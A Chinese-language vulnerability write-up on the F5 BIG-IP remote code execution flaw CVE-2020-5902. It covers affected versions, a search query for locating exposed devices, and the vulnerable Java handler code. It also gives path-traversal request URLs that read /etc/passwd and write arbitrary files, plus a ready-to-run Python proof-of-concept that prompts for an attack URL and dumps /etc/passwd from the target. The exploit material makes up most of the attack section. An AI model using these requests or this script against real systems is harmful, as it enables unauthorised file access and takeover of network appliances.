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162 lines
5.2 KiB
Markdown
162 lines
5.2 KiB
Markdown
# F5 BIG-IP 远程代码执行漏洞 CVE-2020-5902
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## 漏洞描述
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2020年07月03日， 360CERT监测发现 `F5` 发布了 `F5 BIG-IP 远程代码执行` 的风险通告，该漏洞编号为 `CVE-2020-5902`，漏洞等级：`严重`。
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未授权的远程攻击者通过向漏洞页面发送特制的请求包，可以造成任意 Java 代码执行。进而控制 `F5 BIG-IP` 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响，不影响数据面板。
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参考阅读：
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- https://mochazz.github.io/2020/07/11/F5-BIG-IP未授权RCE(CVE-2020-5902)/#未授权命令执行
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## 漏洞影响
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```
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F5 BIG-IP 15.x: 15.1.0.4
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F5 BIG-IP 14.x: 14.1.2.6
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F5 BIG-IP 13.x: 13.1.3.4
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F5 BIG-IP 12.x: 12.1.5.2
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F5 BIG-IP 11.x: 11.6.5.2
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```
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## 网络测绘
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```
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title="BIG-IP® ;- Redirect"
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```
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## 漏洞复现
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在 `tmshCmd` 的 `service`方法处理请求的时候，未对`command` 参数进行处理，直接调用 `WorkspaceUtils.runTmshCommand(cmd, request);` 方法执行命令，限制了执行`delete,create,list,modify`。
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```java
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if ("POST".equalsIgnoreCase(request.getMethod())) {
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String[] cmdArray = command.split(" ");
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String operation = cmdArray[0];
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String module = cmdArray[2];
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if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
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try {
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String[] args = new String[]{command};
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Result result = Syscall.callElevated(Syscall.TMSH, args);
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output = result.getOutput();
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error = result.getError();
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} catch (CallException var11) {
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logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
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error = var11.getMessage();
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}
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} else {
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error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
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}
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```
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在 `fileRead` 的 `service`方法处理请求的时候，未对 `fileName` 参数进行处理，直接调用 `WorkspaceUtils.readFile(fileName);` 方法，进行文件读取。
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在 `fileSave` 的 `service`方法处理请求的时候，未对 `fileName`，`content` 参数进行处理，直接调用 `WorkspaceUtils.saveFile(request);` 方法，进行文件上传。
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[详情利用方式 https://github.com/jas502n/CVE-2020-5902](https://github.com/jas502n/CVE-2020-5902)
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[详情利用方式 https://github.com/wx3514/CVE-2020-5902/blob/master/CVE-2020-5902.md](https://github.com/wx3514/CVE-2020-5902/blob/master/CVE-2020-5902.md)
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**读取文件**
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[**http://xxx.xxx.xxx.xxx/tmui/login.jsp/**](http://xxx.xxx.xxx.xxx/tmui/login.jsp/)**..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd**
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**写入文件**
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[**http://xxx.xxx.xxx.xxx/tmui/login.jsp/**](http://xxx.xxx.xxx.xxx/tmui/login.jsp/)**..;/tmui/locallb/workspace/fileSave.jsp**
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**POST: fileName=/tmp/test.txt&content=test**
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读取文件 /tmp/test
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成功写入文件
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## 漏洞POC
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```python
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import requests
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import sys
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import json
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: F5 BIG-IP \033[0m')
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print('+ \033[36m使用格式: python3 CVE-2020-5902.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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version_url = target_url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Accept-Language":"zh-CN,zh;q=0.9",
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=version_url, timeout=10, verify=False, headers=headers)
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if "output" in response.text:
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print("\033[32m[o] 目标 {} 存在漏洞，响应为:\n{}\033[0m".format(target_url, json.loads(response.text)["output"]))
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else:
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print("\033[31m[x] 目标漏洞无法利用 \033[0m")
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except Exception as e:
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print("\033[31m[x] 目标漏洞无法利用 ,{}\033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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